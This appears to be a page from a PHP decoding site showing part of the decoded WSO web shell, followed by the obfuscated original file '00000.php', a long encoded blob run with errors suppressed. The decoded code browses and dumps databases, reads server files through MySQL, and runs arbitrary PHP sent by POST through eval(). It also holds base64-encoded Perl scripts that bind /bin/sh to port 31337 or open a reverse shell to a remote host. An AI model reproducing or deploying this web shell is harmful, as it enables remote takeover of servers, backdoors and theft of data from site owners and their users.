                                                                    $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
                                                                    $db->selectdb($_POST['sql_base']);
                                                                    switch ($_POST['charset']) {
                                                                        case "Windows-1251":
                                                                            $db->setCharset('cp1251');
                                                                        break;
                                                                        case "UTF-8":
                                                                            $db->setCharset('utf8');
                                                                        break;
                                                                        case "KOI8-R":
                                                                            $db->setCharset('koi8r');
                                                                        break;
                                                                        case "KOI8-U":
                                                                            $db->setCharset('koi8u');
                                                                        break;
                                                                        case "cp866":
                                                                            $db->setCharset('cp866');
                                                                        break;
                                                                    }
                                                                    if (empty($_POST['file'])) {
                                                                        ob_start("ob_gzhandler", 4096);
                                                                        header("Content-Disposition: attachment; filename=dump.sql");
                                                                        header("Content-Type: text/plain");
                                                                        foreach ($_POST['tbl'] as $v) $db->dump($v);
                                                                        exit;
                                                                    } elseif ($fp = @fopen($_POST['file'], 'w')) {
                                                                        foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
                                                                        fclose($fp);
                                                                        unset($_POST['p2']);
                                                                    } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
                                                                }
                                                                wsoHeader();
                                                                echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
<td><select name='type'><option value='mysql' ";
                                                                if (@$_POST['type'] == 'mysql') echo 'selected';
                                                                echo ">MySql</option><option value='pgsql' ";
                                                                if (@$_POST['type'] == 'pgsql') echo 'selected';
                                                                echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
                                                                $tmp = "<input type=text name=sql_base value=''>";
                                                                if (isset($_POST['sql_host'])) {
                                                                    if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                                                                        switch ($_POST['charset']) {
                                                                            case "Windows-1251":
                                                                                $db->setCharset('cp1251');
                                                                            break;
                                                                            case "UTF-8":
                                                                                $db->setCharset('utf8');
                                                                            break;
                                                                            case "KOI8-R":
                                                                                $db->setCharset('koi8r');
                                                                            break;
                                                                            case "KOI8-U":
                                                                                $db->setCharset('koi8u');
                                                                            break;
                                                                            case "cp866":
                                                                                $db->setCharset('cp866');
                                                                            break;
                                                                        }
                                                                        $db->listDbs();
                                                                        echo "<select name=sql_base><option value=''></option>";
                                                                        while ($item = $db->fetch()) {
                                                                            list($key, $value) = each($item);
                                                                            echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                                                                        }
                                                                        echo '</select>';
                                                                    } else echo $tmp;
                                                                } else echo $tmp;
                                                                echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='" . @addslashes($_POST['sql_base']) . "';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
                                                                if (isset($db) && $db->link) {
                                                                    echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
                                                                    if (!empty($_POST['sql_base'])) {
                                                                        $db->selectdb($_POST['sql_base']);
                                                                        echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                                                                        $tbls_res = $db->listTables();
                                                                        while ($item = $db->fetch($tbls_res)) {
                                                                            list($key, $value) = each($item);
                                                                            if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                                                                            $value = htmlspecialchars($value);
                                                                            echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                                                                        }
                                                                        echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                                                                        if (@$_POST['p1'] == 'select') {
                                                                            $_POST['p1'] = 'query';
                                                                            $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                                                                            $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                                                                            $num = $db->fetch();
                                                                            $pages = ceil($num['n'] / 30);
                                                                            echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                                                                            echo " of $pages";
                                                                            if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                                                                            if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                                                                            $_POST['p3']--;
                                                                            if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
                                                                            else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
                                                                            echo "<br><br>";
                                                                        }
                                                                        if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
                                                                            $db->query(@$_POST['p2']);
                                                                            if ($db->res !== false) {
                                                                                $title = false;
                                                                                echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                                                                                $line = 1;
                                                                                while ($item = $db->fetch()) {
                                                                                    if (!$title) {
                                                                                        echo '<tr>';
                                                                                        foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
                                                                                        reset($item);
                                                                                        $title = true;
                                                                                        echo '</tr><tr>';
                                                                                        $line = 2;
                                                                                    }
                                                                                    echo '<tr class="l' . $line . '">';
                                                                                    $line = $line == 1 ? 2 : 1;
                                                                                    foreach ($item as $key => $value) {
                                                                                        if ($value == null) echo '<td><i>null</i></td>';
                                                                                        else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                                                                    }
                                                                                    echo '</tr>';
                                                                                }
                                                                                echo '</table>';
                                                                            } else {
                                                                                echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                                                                            }
                                                                        }
                                                                        echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                                                                        if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
                                                                        echo "</textarea><br/><input type=submit value='Execute'>";
                                                                        echo "</td></tr>";
                                                                    }
                                                                    echo "</table></form><br/>";
                                                                    if ($_POST['type'] == 'mysql') {
                                                                        $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                                                                        if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
                                                                    }
                                                                    if (@$_POST['p1'] == 'loadfile') {
                                                                        $file = $db->loadFile($_POST['p2']);
                                                                        echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
                                                                    }
                                                                } else {
                                                                    echo htmlspecialchars($db->error());
                                                                }
                                                                echo '</div>';
                                                                wsoFooter();
                                                            }
                                                            function actionNetwork() {
                                                                wsoHeader();
                                                                $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
                                                                $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
                                                                echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
                                                                if (isset($_POST['p1'])) {
                                                                    function cf($f, $t) {
                                                                        $w = @fopen($f, "w") or @function_exists('file_put_contents');
                                                                        if ($w) {
                                                                            @fwrite($w, base64_decode($t));
                                                                            @fclose($w);
                                                                        }
                                                                    }
                                                                    if ($_POST['p1'] == 'bpp') {
                                                                        cf("/tmp/bp.pl", $bind_port_p);
                                                                        $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
                                                                        sleep(1);
                                                                        echo "<pre class=ml1>$out
" . wsoEx("ps aux | grep bp.pl") . "</pre>";
                                                                        unlink("/tmp/bp.pl");
                                                                    }
                                                                    if ($_POST['p1'] == 'bcp') {
                                                                        cf("/tmp/bc.pl", $back_connect_p);
                                                                        $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
                                                                        sleep(1);
                                                                        echo "<pre class=ml1>$out
" . wsoEx("ps aux | grep bc.pl") . "</pre>";
                                                                        unlink("/tmp/bc.pl");
                                                                    }
                                                                }
                                                                echo '</div>';
                                                                wsoFooter();
                                                            }
                                                            function actionRC() {
                                                                if ([email protected]$_POST['p1']) {
                                                                    $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
                                                                    echo serialize($a);
                                                                } else {
                                                                    eval($_POST['p1']);
                                                                }
                                                            }
                                                            if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
                                                            else $_POST['a'] = 'SecInfo';
                                                            if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
                                                            exit;
                                                            

Did this file decode correctly?

Original Code

00000.php


<?php Error_Reporting(0); $xJdU8NfauOq="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